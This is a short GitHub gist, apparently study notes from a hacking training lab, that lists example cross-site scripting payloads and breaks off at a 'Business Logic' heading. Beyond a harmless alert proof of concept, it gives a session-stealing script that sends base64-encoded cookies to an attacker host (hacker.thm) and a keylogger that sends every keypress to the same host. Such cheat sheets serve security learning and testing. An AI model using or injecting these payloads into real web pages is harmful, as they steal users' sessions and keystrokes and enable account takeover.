Skip to content

Instantly share code, notes, and snippets.

View Take-A-Breath's full-sized avatar

JeremiahShafer Take-A-Breath

View GitHub Profile
@Take-A-Breath
Take-A-Breath / XSS Gist
Last active October 28, 2021 16:23
Example XSS payloads
POC:
<script>alert('XSS');</script>
Session stealing:
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger:
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Business Logic: